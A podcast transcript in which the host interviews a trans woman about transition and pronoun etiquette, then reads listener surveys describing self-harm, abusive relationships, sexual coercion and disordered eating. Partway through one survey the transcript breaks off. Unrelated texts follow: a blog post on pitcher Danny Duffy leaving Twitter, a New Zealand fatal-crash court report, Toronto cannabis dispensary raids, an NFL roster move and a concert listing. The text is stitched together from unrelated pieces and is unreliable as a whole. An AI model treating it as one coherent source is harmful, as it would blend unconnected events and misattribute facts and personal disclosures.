OLIVIA: Yeah, I, I don't know, I lost my train--
PAUL: Oh, we were talking about people having to learn new words so that they could, and we were talking about your doing surgery--
OLIVIA: Hm, yeah.
PAUL: --and . . .
OLIVIA: Yeah. That's, and so, well, you were asking what I planned to do for physical transition, and that's, I think I, I want a, I want a vagina. They're cool. I'm a fan personally [chuckles].
PAUL: I'm a fan. I get the newsletter.
OLIVIA: Right? They're pretty nice. And, you know, and the ones they make nowadays are pretty spiffy, so it's like--
[Chuckling]
OLIVIA: You know, why not go in and get myself a new 2017 vagina and, you know?
PAUL: Do you know what the Blue Book on your cock is?
OLIVIA: [Laughs] Well, you know, what they do is, it's actually they repurpose it, so it'll be a refurbished cock.
PAUL: But they're not going to call it a used cock. They're going to call it a previously owned cock.
OLIVIA: Yes, exactly, yeah [chuckles].
PAUL: Because you get more money that way.
OLIVIA: Previously driven.
[Chuckling]
PAUL: What are some myths, to people who are new to these discussions, that you can kind of help illuminate?
OLIVIA: Totally.
PAUL: And I'm not excluding myself from that group.
OLIVIA: Yeah, I mean, you know, I think there's, I mean, there's a lot of myths around trans people. I mean--
PAUL: Or things you would like people to know. For instance, I didn't know how deeply offensive it can be, and I feel embarrassed even saying this, but I think it's important to say, inquiring as to whether somebody still has their penis or their vagina--
OLIVIA: Oh, yeah. Oh, definitely, yeah.
PAUL: --and I was, I felt so embarrassed. And now, I don't think I've ever asked somebody that, but I found myself wondering it, just like I used to want to know, is that person gay or not. It's none of my fucking business.
OLIVIA: That's the thing. It's, yeah, that is definitely, I mean, it's not necessarily a myth, but it is a common thing, of like people like starting conversations with you with, so what's going on in your pants?
PAUL: Right.
OLIVIA: And it [chuckles], and that's, that's not cool. Let's keep the pants talk to a minimum, because, yeah, it is, I mean, you're basically just saying, you know, it's like going up to one of your dude friends and being like, so how's your cock doing today, or you still have a penis, you doing good, [chuckles] everything's hanging--
PAUL: How long are you hard?
OLIVIA: Yeah, you know, on average, like how many times a day do you say you masturbate? Like, is it more than five, less than 20, you know, so it's one of those things.
Or like, you know, [chuckles] have you ever, there's not really an approp-, I was about to say, you know, do you still have your appendix, but that's like, I guess that's not quite the same, but it's similar. It's like you're asking about someone's like personal medical history--
PAUL: I think, to them, it seems like you're just asking, have you ever had your appendix out.
OLIVIA: Exactly, yeah. But it's really, it's much more, it's much more pointed, and it's also like, you've got to look at it from the perspective of someone who's been asked that question a million damn times, and it's like, I'm more than what I got going on in my pants, like--
PAUL: I am also my butthole.
OLIVIA: Yeah [chuckles]. I mean, please, if anything, we can all focus a lot more on my ass because it has so much--
PAUL: Yeah, it's the one thing that binds us all.
OLIVIA: It really is. Everyone has an asshole.
PAUL: We should, to bring the country together, we should have national butthole day and we just all look at each other's buttholes, get it over with, and go, why are we fighting?
[Chuckling]
OLIVIA: I got to tell you, I might abstain from that one. Not a, you know . . .
PAUL: I'm sorry, I thought you were a patriot.
OLIVIA: Yeah, [sighs] I'm not.
PAUL: I misjudged. I misjudged. So, go ahead [chuckles], myths.
OLIVIA: Oh, yeah, totally, myths.
PAUL: Or things you would like people to know.
OLIVIA: Yeah. That's a big one, don't just come up to us and talk about our genitals.
Also, a big thing is pronouns. Don't, I hear people say, you know, people will often either use the wrong pronouns for me or for, they'll refer to another trans person by incorrect pronouns or something, and their excuse is always like, well, it just seems so embarrassing to ask.
And I can guarantee you that no trans person, well, okay, I guess I can't say no trans person, will make you feel bad for asking what their pronouns are, because, as embarrassing as it might be to like ask that question, it's so much more embarrassing if you assume and guess wrong, and then you've got to do the whole apology dance and that's like embarrassing and frustrating, and like--
PAUL: Yeah. And I think by asking you're showing that you care.
OLIVIA: Yeah, exactly. And also, you should be asking that of your cis friends also, or maybe not your cis friends because you know what their pronouns would be, but like, you know, if you make it a habit to just start asking everybody what their pronouns are, then it kind of eliminates that sort of feeling like you're picking on someone, because I feel like, yeah, a lot of people are like, well, it feels like I'm like pointing out that they're trans.
It's like, well, yeah, but you're also doing that when you mis-gender someone and it's even worse and that hurts. So it's like, just ask.
PAUL: Yeah. And don't say it.
OLIVIA: Yeah. Never say it. You should never describe a human as an it.
PAUL: No.
OLIVIA: Like [chuckles] I'm just going to make that stand.
PAUL: I mean, that sounds obvious, and I suppose there aren't many people who listen to this podcast that would do that--
OLIVIA: Yeah.
PAUL: --but it doesn't hurt to mention.
OLIVIA: Oh, yeah, no. Definitely not, never call a trans person it. Oh, and also, they as a singular pronoun, that's a--
PAUL: When used in that context.
OLIVIA: Yeah. I mean, yeah, it's actually just a singular pronoun now. Like, and people use it as a singular pronoun all the time and don't realize it. Like they'll say, oh, who is that, who's that person over there, they're cute, or something, you know, like, and not even realize, oh, I just used they as a singular. And it's, it's a real easy switch to make if you just realize, oh, language changes, and so now they is singular.
PAUL: Yeah.
OLIVIA: But yeah, those are the big ones. And then like, don't ask about people's like birth names or, you know, or if they've had a name change. Like, just kind of use, I guess I want to, I always want to say use common sense and, but then like, but then I'll get well-meaning people being, you know, coming up and, you know, saying embarrassing stuff, and then we have to have the apology dance and it's just always [chuckles] frustrating.
But yeah, like, basically, think about if you would ask like a cis person the same question and expect the same like type of answer, you know.
PAUL: And for people that don't know, cis is--
OLIVIA: Oh, yeah, yeah.
PAUL: --it means people who identify with the gender that they were assigned at birth.
OLIVIA: Right, yeah. It's short for cisgender. And--
PAUL: Was that correct, the way I described that?
OLIVIA: Yeah, that's absolutely correct. Yeah, I just kind of, I explain it as like it's, it's like the trans version of straight. It's like, instead of gay, you're straight. Instead of trans, you're cis.
And then there's everything in between of both of those terms, of all sorts of gender varying, gender neutral, agender, bigender, like there's a whole rainbow spectrum of gender identities. But, and they're all really hot and I like them all, so, yeah [chuckles].
PAUL: It's just so nice that our society is moving slowly in a direction where people can be more seen and heard and felt.
OLIVIA: Yeah, definitely.
PAUL: And get on to the other reasons they hate themselves.
OLIVIA: Exactly, yeah. Yeah, it's so nice to like not have the worry of my gender constantly hanging over my head, so I can focus more on how much of a lazy piece of shit I am--
PAUL: Exactly.
OLIVIA: --and, you know, and just how I never accomplish anything in my life and how I'm homeless and I live in an RV. Like, I focus on the concrete things that really matter.
PAUL: And how do you feel about now getting a 70% paycheck?
OLIVIA: Oh, you know, it's been--
PAUL: You excited about that?
OLIVIA: Yeah, it's been really good. Well, luckily, I, you know, I've now shifted to unemployment, so that's, so now I just get 70 cents to the dollar on unemployment.
But yeah, you know, that's been my favorite part of transitioning, actually, is--
PAUL: Making less money.
OLIVIA: --yeah, making less money, and having more things to complain about. Like, I really like be-, like now I can be like, oh, well, the patriarchy is getting me down instead of having to worry about blaming anything on myself. It's nice, you know.
[Chuckling]
OLIVIA: Yeah. I also transitioned, you know, because I heard Girls Just Want to Have Fun when I was a kid and I'm like, I just want to have fun, and so I transitioned.
But yeah [chuckles], as far as myths, I mean, like those are the big ones. Like the pronoun thing is really, that's the thing that, if anybody can take away like one thing, it's like, just ask.
PAUL: Just ask.
OLIVIA: Just ask.
PAUL: And you would say, what pronoun do you prefer?
OLIVIA: Yeah. What pronoun do you use, what pronoun do you prefer, a super-simple question, and like, I don't know any trans people who would get angry at you for that. And if they do, then listen to them and they're allowed to be angry [chuckles].
PAUL: Yeah. Your side of the street is clean. They're people. They might be having a shitty day.
OLIVIA: Yeah, exactly.
PAUL: Yeah. Anything else you want to share before we wrap up?
OLIVIA: No. I mean, no, not that I can think of. Yeah.
PAUL: Olivia, what a pleasure. I'm glad our paths crossed.
OLIVIA: Yeah, definitely.
PAUL: And I'll put any links that you want up to your social media. I'll get those from you.
OLIVIA: Oh, sure thing, sure thing.
PAUL: Although, you know, you could give a shout-out now if you want to--
OLIVIA: Oh, yeah. I'm on, Twitter is HiThereHaidar, that's H-a-i-d-a-r. And I'm Ohaidarling on Instagram.
PAUL: And how would you spell that, o-h--
OLIVIA: O-h-a-i-d-a-r-l-i-n-g, Ohaidarling. Yeah, that's me.
PAUL: Thank you.
OLIVIA: Thanks.
PAUL: Many, many thanks to Olivia. And this episode will soon be transcribed and available on our Web site. Many thanks to Accurate Secretarial for donating their time and helping out the show.
You know, as I was editing Olivia's episode and listening back to it, I was reminded of how [sighs], I don't know what the word would be to use, but I guess how ashamed I am of how I viewed trans people who didn't, quote, pass. It would have been probably about 10 or 12 years ago when I was in West Hollywood and I went into a coffee shop and there was a person who was very masculine, hairy chest, mustache, looked actually very similar to, I don't know if you remember the old Dunkin' Donuts ads, time to make the donuts, it looked like that person.
And they were wearing a dress and standing in this coffee shop, looking kind of, like a combination between looking lost and wanting to be seen. And I remember like, like smirking to myself, seeing this person, because in my mind I thought, oh, don't they know, you know, that they don't look like a woman?
It's, I can't imagine how, I don't know. I'm glad I’m not that person, that those aren't still my thoughts of why people express themselves in their own unique way, but it just kind of breaks my heart that, in that moment, I was so inwardly condescending to that person.
And I even remember sharing that story with a couple of people, you know, when I saw them, and it just, I'm not going to beat myself up about it, but I do feel shame that I could be so ignorant about somebody's struggle to feel seen and authentic.
And you know the other thing is, as Olivia and I were talking about, you know, okay, you have to learn six new words, it occurred to me how many words that we adopt without, you know, if somebody's going to give you shit and say, you know, I've had it, I don't want to learn any more words, think about all the words that we have accepted and that we've come to use, you know.
Civilian casualties, it's really a nice way for saying people that got accidentally killed in war, you know, a baby that got blown up. Neutralized the enemy instead of killed. You know, we allow that to happen so that war can become more palatable to us. If we can do that, don't you think that we could learn a couple of words that actually make somebody's life better? All right, now I'm going to get off my soapbox. I just made myself sick, my fucking proselytizing.
Oh, and here's the one that kills me, counterinsurgents. That is, that really takes the cake, counterinsurgents. You know what it really means is, I don't want to get too political because I'm not going to name any particular war, but counterinsurgents are basically people fighting us invading them, or whoever the invader is, but all right.
Hey, you guys know that I love documentaries. A friend of mine, two friends of mine, Chris Mancini and Graham Elwood, who do a really awesome podcast called Comedy Film Nerds, and I was actually just a guest last week on it and had so much fun, and these guys are so knowledgeable about films and really have fun talking about them and dissecting them and geeking out on them.
They have a new documentary about the power of podcasting, and I urge you guys to check it out. I've also got a prominent role in it. It's called Earbuds and you can get it at their Web site, you can either get the DVD or you can stream it from there, and their Web site is ComedyFilmNerds.com. And it's, it's a really beautiful documentary, really well done, and I just feel really lucky to be featured in it, and, you know, I love a good documentary, so I want to give some love to my buddies there and turn you guys on to a good documentary.
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So, right now you guys can post jobs on ZipRecruiter for free by going to ZipRecruiter.com/first. That's ZipRecruiter.com/first. Let's do it a third time. Herbert's butthole, join me, won't you? ZipRecruiter.com/first.
And I can't wait [chuckles], I can't wait for the person from ZipRecruiter to go, by the way, what was the thing about Herbert's butthole? Yes, for anybody that isn't familiar, it's a running joke on the podcast about my dog's butthole. My dog is Herbert. But yes, ZipRecruiter.com/first [chuckles]. All right, let's get to some surveys.
This is an Awfulsome Moment, and this was filled out by Linden. And she writes, in my late teens, I had struggled with cutting and did not tell a soul, even a counselor. I was scared of potential fallout and keeping mum seemed like my only choice. I curbed it by, quote, losing my scissors, blindly flinging them across the room, allowing them to fall behind a piece of furniture and be forgotten and found at a later date.
It worked, for the most part, coupled with the fear of being found out. After I moved away, I continued to keep mum and figured I'd start fresh. Over the course of the year, I met a new friend and one of our first bonding experiences was cleaning out a closet with 30 years' of her family's literal and figurative dirty laundry. With that came a lot of dialogue and both of us shared some gory details about ourselves, to met with, me, too.
One night she came over for dinner and we got on the subject. I mentioned cutting for the first time, and I kind of sugarcoated it with a euphemism. Mid-sentence she cut me off and said, you don't have to sugarcoat it, I did it, too.
I breathed a huge sigh of relief, someone who got it. Yeah, you're the first person I've ever told that. Holy shit, really? To her, that was the ultimate gesture of trust, and for the next roller coaster of a year, she was my rock.
She had a relapse as well and I was able to return the favor by supporting her through it and encouraging her to get help on the matter. The best part? I'm marrying her brother soon. Thank you for that, Linden.
This is a Shame and Secrets Survey, and I just want to read one part of it. And this is filled out by Moonstar, and they're gender fluid, in their 20s, raised in a slightly dysfunctional environment, and they write, never been sexually abused but has been physically and emotionally abused.
I was freshly 20 and wide-eyed and bushy-tailed. I hadn't even been drunk, done any drugs, nada. And I met a point who was confident . . . oh, I think it, I don't, maybe auto-check, auto-spell changed it to point from person.
Anyway, I met a person who was confident and had goals, which I had none, so I found it very attractive. He asked if I wanted to move in with him on his farm. I love animals and have a horse, so I did. The farm was beautiful. But it was an illegal marijuana grow operation on a secluded island. Sometimes I'd sit in a room full of cannabis plants and just feel the warmth. I didn't think much of it. I knew it wasn't really legal but never grasped the reality of what was happening on the farm till much later.
I grew ducks and poultry. I brought my horses over. But I was never comfortable being undressed or showering or out after dark, even to just check on the animals. I was made to believe that there were people who wanted to steal our crop and they had guns, so we had to have bigger and better guns.
I stayed mostly oblivious, partly to have friends over-, oh, partly by choice but also out of safety. If I dared ask a question, I was shot down or made to feel stupid. I was strictly arm candy. I wasn't allowed to have friends over. I'd try to help out, but every time I walked into a room, it went quiet. I thought this was normal. Having six shotguns in your truck is normal. Seeing lights on the edge of the property and sending the dogs after them was normal.
I cooked and cleaned and was very much passive. I was called emotionally unstable. Much older men made rape jokes and talked about murdering women in my presence. I couldn't ever be alone. I did everything I could for them to like me.
I cooked breakfast and would bring it out for them, did all the cleaning and dishes. I'd even bring out meals and often he would just say he wasn't hungry and go out somewhere else for lunch, all while having a full course load of university classes. I cried on my horseback every night before the sun set, hoping nothing would happen to him. Then I'd crawl into bed with my dog and a rifle pointed at the staircase.
I never shot a gun in my life. I'd never thought of my life as an option that could be taken away from me, but now it was an option. I lied to everyone in my life. One night, I lost it completely. I had never felt anger like this before. I ran through the 100-acre field and into the forest. I kept running till it got dark and I heard people behind me. He was coming to get me. I left the next day.
Thank you for sharing that. Wow. That was like a little movie.
This is an Awfulsome Moment filled out by Strong Lad, and they are agender, and they write, I was interested in this guy who had come into my work a few times. We hooked up on a few occasions and it was great. Then I went to visit my mom at her house, where I found a few pictures of my dad who died when I was younger.
I'd forgotten what he looked like, considering I didn't see him much when he was alive. And when I saw them, I realized the guy I had been casually dating looked exactly like my dad. It was the most horrifying and disgust-filled moment of my entire life. I made sure to avoid him as much as possible, and occasionally also feel guilty about that.
But the cool part is [chuckles], is that your dad was such a powerful person, he was able to make you feel guilty from the grave. That is power. That is power. Thank you for sharing that.
This is filled out by a guy who calls himself Seizuriffic. And I'm just going to read a portion of this. He is straight, in his 20s, raised in a slightly dysfunctional environment. I'd call it more than that.
Oh, no, I’m thinking of a different one, but I do still want to read this one. Ever been the victim of sexual abuse? Some stuff happened but I don't know if it counts. My ex-girlfriend had anorexia and I believe was sexually abused herself, though she always evaded the subject without really sharing what happened to her. We were together for five years.
I thought she was the love of my life, and she was the first and still only girl I'd had sex with. A couple of years in, her sex drive dropped from insatiable to zero. It got to the point where I couldn't touch her without her having a very visceral reaction and pulling away. And that's not a euphemism. All of a sudden, I couldn't hold her hand without her looking like I burned her with a hot iron.
After about a year of her having no desire to touch me in any way, it really started to hurt. It feels too stupid and base to talk about, which I assume is why no one does. It's so easy to come off as, oh, he's upset because he isn't getting pussy, boo-hoo. But it's true. Being rejected again and again by the person you love, it's painful.
Anyway, that's all to say that's where I was coming from the Saturday morning after spending the night with her in bed. Nothing had happened, and first thing, she bolts out of bed, tells me there's a class at the gym she wants to get to and that she has to go. I want her to stay in bed with me a little longer, and to my pretty huge surprise, she comes back.
She gets on top of me and starts having sex with me with what I thought in the moment was passion, until she looks me in the eye and very condescendingly says, are you done? I didn't know what to say. I couldn't say anything. I stuttered out something about how, if she wanted me to leave, I could, and then I did.
It wasn't until after probably months, maybe a year after, until I could really make sense of it. She decided that I was pouting, that she'd appease me to get me out as quickly as possible, and then she would shame me for being so needy.
I think saying I was raped is putting it strongly, and is even an insult to people who were raped, but the truth is that what happened isn't at all what I wanted and that, if I'd known what she was doing at the time, I would never have let her.
Thinking about it now still makes me tear up and feel so stupid and pathetic and worthless, which I guess is what she was going for. I'd be shocked if she even remembered that morning, much less has any idea she might have done something wrong, but I wish she could know that I still think about it and that it fucking hurts.
Thank you for that. That's why I think this is such an important topic, because there's so much, there's so much gray area in here, and ultimately what matters is how it affected us, how we felt, and is it still affecting us, and then what can we do for ourselves.
Darkest thoughts. It'd always been a fantasy of mine since childhood that something like this would happen, that my brain cyst would fill back up, that I'd spend a month in the hospital with whomever I thought at the time wasn't showing me enough that they loved me. They'd be seated next to my bed, crying endlessly for days. I'd even fantasize about dying from it and then they'd be sorry. Then they'd feel how much they'd loved me and how much it hurt for me to be gone.
Thank you for sharing that, and that is one that I read a lot in the surveys, is people having an intense desire to be physically sick and cared for, and it makes total sense to me, because if we don't know how to ask to have our emotional needs met, that's the second best way. And we don't have to look like we have needs. So, that makes perfect sense to me.
This is a Happy Moment filled out by One Night I Will Sleep More than Three Hours. And he writes, I was channel surfing earlier and I came across a children's show that I used to watch with my daughter when she was three or four. Watching the show made me happy and sad. It made me think about how many changes have happened over the years and how the last 14 or so years seemed to have blown by in a blink.
I know they were not easier times back then, but I think they were more boisterous, sharper, less gray, with a bit of magic in the mix. I was stronger then, or maybe not, but I don't feel as strong today, sometimes not even close. But again, I could be wrong about that.
Anyway, watching that old kids' show reminded me that something is gone now. I can't say exactly what, but it has been replaced by my middle-age concerns and a sometimes-vile voice in my head. Things are muddy today. I'm less sure of the kind of man I am. I struggle with the feeling that I've not lived up to my full potential as a parent and as a man.
Despite where I am now in life and in my head, my daughter seems to love me very much. My relationship with her continues to be the best thing in my life, absolutely. Not bad for a guy that had no father in his own life. I like to think that in this writing there is at least a trace of the guy who used to have a spark and who tried hard to pass it on to his daughter.
Overall, I think I turned out okay, then in parentheses, shut up, voice in my head. For your listeners with young kids, I'd like to offer the following. Love your kids, love them with all your heart, and really notice them. Don't get distracted by electric bills and Facebook. Do your best to be your best for your child, even when you feel beaten and not so into it. It won't always feel like it's working out but try to believe it is.
That was beautiful. Thank you for sharing that. And I don't know you personally, but you seem like a kind of a person I would want to be friends with, introspective and humble and trying to be a present, conscious parent.
This is a Shame and Secrets Survey filled out by [chuckles] Hot Shit, and I'm just going to read one part of it. She's never been sexually abused, physically abused or emotionally abused, raised in a slightly dysfunctional environment, and she's in her 30s.
Darkest secrets. I have OCD and disordered eating. I can't eat dairy while I'm on my period because it makes me sick. However, that doesn't stop me from eating the cheesiest things possible while on my period because I actually enjoy the pain it causes. All day at work, I think about getting off work and going home to eat two frozen burritos with a mound of cheese on top and then spend an hour or so doubled over with stomach cramps while sitting on the toilet with violent diarrhea.
After I eat, I excitedly wait for the cramps to start, and then I dash off to the bathroom. I'm a sweaty, exhausted heap when I'm done, and I feel like I've given birth. I then shower, go to bed, and sleep like a baby. Lather, rinse, repeat every month. I've just started seeing a new therapist and I haven't told her about this because I don't feel like admitting that I purposefully give myself violent diarrhea and stomach cramps and I like it. I will tell her eventually, but not until after the fourth visit.
Everybody knows the fifth visit is diarrhea. The fourth is [chuckles], the first is depression. The second visit is anxiety. The third is not crazy about your parents. The fourth is not comfortable with what turns me on. And the fifth is diarrhea.
Thank you for sharing that. And I am sure you're not alone in that. You know, as I was reading that, I was thinking, you know, how you describe that you felt drained afterwards and you would shower. You know, it sounds to me like the goal, I've read from a lot of people with eating disorders, after they purge is, or deny themselves food, is that they feel clean.
And the feeling I got reading that when you talked about feeling spent and having showered was just like a feeling of like, like clean exhaustion, which is a feeling I've always loved. Like after I come home from playing hockey and shower, oh, my God, it's the greatest feeling. And then get just a little caffeine, you know, so then I'm alert, relaxed and have endorphins, it's the best. So, I don't think it's that puzzling, to me, he said, eating a wheel of cheese.
This is a Happy Moment filled out by Kombucha, and she writes, my little half-sister and I were hanging out in her room to get away from the family gathering downstairs. I don't remember how the subject came up, but I started to tell my half-sister about my memories of my mother. She wanted to know and I accepted she was mature enough to listen.
She was diagnosed with schizophrenia after throwing a rock through the front tenant's window. She was arrested and taken to the county psych ward. I was under custody of my father beforehand and we came home to find the police car in the driveway.
I told my sister that it was incredible how, as a child, you know what is going on, but because you aren't fully developed cognitively and know how to even cope, you are just there. You just know and feel things are chaotic, but you're resilient, that adults don't consider the effect it may carry on you. I wasn't asked how I felt and no one talked to me.
In that moment, she started to cry and it turned into a panic attack. She was so scared and told me, it feels like a heart attack. I calmed her down and taught her my puffer-fish breathing technique. I gave her tactile affection and time to get through it.
She told me that was exactly how she felt after she was sexually molested and our parents found out. For the first time, I realized what it meant to trigger someone and, for the first time, I knew the truth firsthand that she was molested, because I didn't know if it was true from the parental drama and I was 13 at the time. We're eight years apart.
It felt like a Wes Anderson movie, where the camera pans out of our room while my sister is having a panic attack and shows everyone else in the house, my aunt sleeping in the bedroom, probably on her phone, right next to our room, my dad on the couch asleep with the TV blaring so loudly that my sister's loud cries were filtered.
I just felt the sad reality that led us to what we feel currently happening, just going unnoticed. Yet I was happy to be knowing that truth and tell my truths about our upbringing. I think there's something, a typo there, I was happy to be know that truth and tell my truth. I don't know. I just crumpled it up into a ball and cast her to hell, right at the end of this beautiful survey [chuckles].
Yet I was happy to be known, again, I'm interpolating here, I was happy, I guess, yes, I was happy to know that truth, I think that's what she was trying to type, and tell my truth about our upbringing.
We cried together and comforted each other when tears came up talking. I felt like a good sister in that moment.
That was lovely and fuck your auto-correct. Auto-correct, I shake my fist at the sky, you are this show's worst enemy. You are worse than Mean DJ Voice, Auto-correct. The amount of improvising you make me do while I am reading a survey, you guys can't hear it sometimes, but so many times I'm reading a sentence where it's, auto-correct has put in a word that is clearly not supposed to be there [chuckles] and I am just sometimes able to guess what it is on the fly and keep going, but yeah, fuck you, auto-correct.
This is a Shame and Secrets Survey filled out by a woman who calls herself I Am Already Nervous, and she is in her 20s, raised in a slightly dysfunctional environment. Ever been the victim of sexual abuse? Some stuff happened but I don't know if it counts.
I recently had a memory from when I was maybe 12 or 13. I used to sleep in my mom's bed with her during this time. I have since learned that I was incredibly anxious and probably had some attachment issues, and I remember us laying in bed with our backs towards each other and the bed slightly shaking. My mom would make very silent moans as the bed continued to shake.
I laid there in absolute fear, scared to move, unable to really understand what was going on. I'm just now starting to process this and I'm having anxiety about going over to my mom's house.
I am so sorry. I am so sorry. That is a horrible fucking memory to dredge up and speaks volumes that your mother chose not to get up and go do that in the bathroom in privacy is alarming, alarming, and I would imagine indicates a lot more really fucked-up boundaries. And who wouldn't be an incredibly anxious person? But then again, maybe I’m reading, maybe I'm reading too much into it and I should just shut my mouth.
Ever been physically or emotionally abused? I've been emotionally abused. When my partner first started taking medication, he became rageful. He has always been quiet-tempered, but for two months I walked on eggshells. He would belittle me, tell me that I wasn't doing enough for him, that I wasn't helping him and never have helped him.
As has been documented by the Kansas City Royals, Danny Duffy, injured starting pitcher for the Royals deactivated his popular @dduffkc23 Twitter account late last night with the following tweet:
Only hours before, Duffy was joyfully tweeting about his Los Angeles Lakers who lost to the Oklahoma City Thunder in the playoffs.
Below is a spotty screenshot log of a conversation between Danny Duffy and a Twitter user named @ MyPeepsCallMeD. As you can see below. The discussion seemed playful at times, and then just took a turn. (Click picture to view larger.)
Then something happened between last night and today for “Miss Danielle” to tweet out this…
The kneejerk reaction by Duffy was swift and massive. He hit the eject button.
Then, earlier today, the account for @MyPeepsCallMeD was put in a “Suspended” status.
The shame of it is, as Sam Mellinger mentioned on Twitter today, “Other athletes could take notes on how to Twitter for their own good.” He was what we wanted from athletes on Twitter and could’ve quickly parlayed it into Twitter superstardom the likes of Chris Kluwe and Logan Morrison. Duffy had proven his ability to know how to handle tricky Twitter users and haters.
But Icarus flew too close to the sun and an apparent threat of a lawsuit or harassment claim to the Royals was too much, so the wings melted and he fell from the sky.
In a way, it’s probably for the best. That kid needs to go get his Tommy John surgery next week, get healthy and get back to Kansas City, hopefully in the middle of a 2013 pennant chase.
However, it does remind fans of another time he hit the eject button in 2010 as Duffy left the Royals organization for a brief time. The correlation could also be made to another Royal who left the organization named Zack Greinke. Are the two separate issues, or is this now a pattern of how he handles adversity? What happens if he DOES come back in the middle of a pennant chase?
As it stands now, Duffy is gone from Twitter, he will have surgery next week. The world continues to spin on its axis.
But this twittercide leaves some wreckage in its wake, namely the fans who hopped on board the #BuryMeARoyal and #GodOverEverything bandwagon. Duffy had preached those two hashtags frequently in his Twitter feed and he had gained an enermous amount of fans.
One of them was @LilFrenchy21, the popular 7 year old “Twitter Kid” who became embroiled in a Twitter argument with @MyPeepsCallMeD. This void caused two Twitter worlds to collide. Worlds that really have no purpose intermingling.
And what of us who choose to continue to use Twitter? Is Duffy saying that by quitting he’s now elevating himself to “better than us” status? He’s leaving us to wallow in our own filth?
You can likely chalk this up to a failure of Twitter. That being that it ain’t Facebook. Facebook has more controls over haters and, while there’s plenty of dissention – just read the Royals Facebook page to see an example of the wrong sperm that won – people don’t really understand Twitter. The hate can tend to sneak up on you if you’re not ready for it. Your Mom is likely to understand Facebook. Twitter might put her in the hospital.
After leaving his accommodation in Westdale Rd, between Nelson and Motueka, about 10.25am on February 27, the American heart surgeon on holiday in New Zealand, turned left onto State Highway 60.
He drove about two kilometres in the Toyota SUV he had hired in Christchurch when he arrived in the country in mid-February before realising he should have turned right.
MARTIN DE RUYTER/FAIRFAX NZ The crumpled wrecks of the Isuzu truck and caravan towed by a Toyota Prado. The drivers of both vehicles died at the scene.
READ MORE:
* Wife feels sorry for driver
* Nelson crash victim 'a real family man'
* Police name victim of double fatal crash
* US heart surgeon charged over fatal crash
So he pulled over about 300 metres south of Maisey Rd.
The 63-year-old then made the fatal mistake of attempting to perform a U-turn on the busy Coastal Highway.
KELSI HARDIMAN Steve Jayes, left, was the driver of the Isuzu truck and died at the scene of the crash. Jayes is pictured with his sons Cassius and Lennox, and his partner Monique Hardiman.
Wolnak pleaded guilty in the Nelson District Court on Tuesday to two charges of careless use of a motor vehicle causing death and four charges of careless use causing injury.
THE CRASH
The court heard that as Wolnak pulled back out, an Isuzu flat-deck truck carrying about 6.5 tonnes of scaffolding was heading north at about 90-100kmh.
The driver of the truck, 41-year-old Steve Jayes, rounded a slight bend in the road and was confronted by Wolnak's vehicle in his path, about 50m ahead of him.
Jayes attempted to swerve but crashed head-on into the passenger side of Wolnak's vehicle.
Wolnak's vehicle spun around, stopping in the northbound lane.
The truck crossed the centreline into the path of southbound traffic.
Kevin Whitburn, 69, and his wife Janet, of Christchurch were heading south in their Toyota Prado, towing a caravan, after holidaying in nearby Mapua.
They were travelling at about 80-90kmh when they crashed into the Isuzu truck, causing it to spin clockwise and spill the scaffolding across the road.
The momentum of the truck caused it to crash into the caravan.
The caravan was "decimated" with parts strewn across the road, the police summary of facts said.
Jayes, a father of two boys, and Whitburn, in his first year of retirement, both died at the scene of blunt force trauma.
THE INJURIES
Wolnak's wife, who was in the front passenger seat of their vehicle, suffered seven rib fractures, compression of the lung, as well as sacrum, pelvis and jaw factures. She has only recently been discharged from hospital.
The middle-seat passenger of the Isuzu truck, a 19-year-old Nelson man, suffered bleeding around his right kidney, a broken nose, fractured eye socket, gouging to forearms, cuts to his calves, bruising to his thigh and a sore back.
The other passenger in the truck, a 28-year-old Nelson man, fractured his left leg and had cuts to his leg and elbow.
Both occupants of the truck were trapped inside the cab for about 40 minutes while members of the fire service worked to cut them free.
Janet Whitburn, 65, sustained a cut to her head that required stitches, tenderness to her torso and whiplash.
THE WRONG TURN
Wolnak told police that he had looked at a map of his accommodation before leaving his accommodation in the morning and was meant to travel to Kaiteriteri and visit Abel Tasman.
He said he can't remember anything of what happened after he turned left onto the highway.
Wolnak has been remanded at large. His sentencing has been scheduled for April 24.
Judge Bruce Davidson asked that restorative justice be explored with the victims.
Wolnak is a cardio thoracic surgeon based at Mercyhealth Medical in Janesville, Wisconsin.
This is the third raid of the Eglinton location since June 22. The second was on Tuesday, June 27, 2017.
The initial raids saw 80 Canna Clinic employees arrested, charged, and released on scene. It is also alleged that police seized one vehicle, 178 kg marijuana, 48 kg THC edibles, 6.8 kg shatter, 19 kg cannabis resin and over $350,000 in cash. Toronto Police Services conducted a large raid against the BC-based Canna Clinic chain of cannabis dispensaries Thursday, June 22, including seven Toronto locations, six Toronto residences and six Vancouver locations.
Police say the Eglinton Canna Clinic location re-opened on Saturday, June 24, two days after the initial raids. Police raided the business again three days later, seizing another 22 pounds of cannabis and $13,000, along with "associated equipment required for the operation of the dispensary."
On Wednesday, July 5, 2017, officers from 53 Division executed a third CDSA search warrant at the same location. Another five people were charged with possession for the purpose of trafficking a schedule II substance and possession of proceeds of crime. They are are scheduled to appear in court at Old City Hall on Tuesday, September 5, 2017.
TPS says the investigation is ongoing. Canna Clinic initially listed seven Toronto locations on their website, although they currently only list four, noting the Kensington, Ossington, Parkdale and Yonge locations are open while Broadway, Eglington and Junction are closed. The website also still lists six British Columbia locations including four in Vancouver.
When E.J. Gaines left the team's game against the Buccaneers on Sunday, the Bills were down to just three healthy cornerbacks. They've played most of the season with four cornerbacks on their game-day roster. So on Monday, the Bills claimed cornerback Tony McRae and waived wide receiver Kaelin Clay.
McRae is an undrafted rookie out of North Carolina A&T. He had stints with the Raiders and Bengals during the summer before the Ravens signed him to their practice squad on September 5. He joined the Ravens' active roster on September 16 and appeared in five games.
Meanwhile, Clay made a limited impact in his time with the Bills. On roster cutdown weekend, the Bills traded cornerback Kevon Seymour to the Carolina Panthers in exchange for Clay, who caught just one pass for 28 yards and made a limited impact on special teams.
The Star Perfoming Arts Centre / Star Theatre
Saturday, December 3, 2016 • 7:30PM
• The Metropolitan Festival Orchestra and Choir
• Arnie Roth, conductor
• RIKKI, vocal soloist
Tickets On Sale Now:
At SISTIC: http://www.sistic.com.sg/
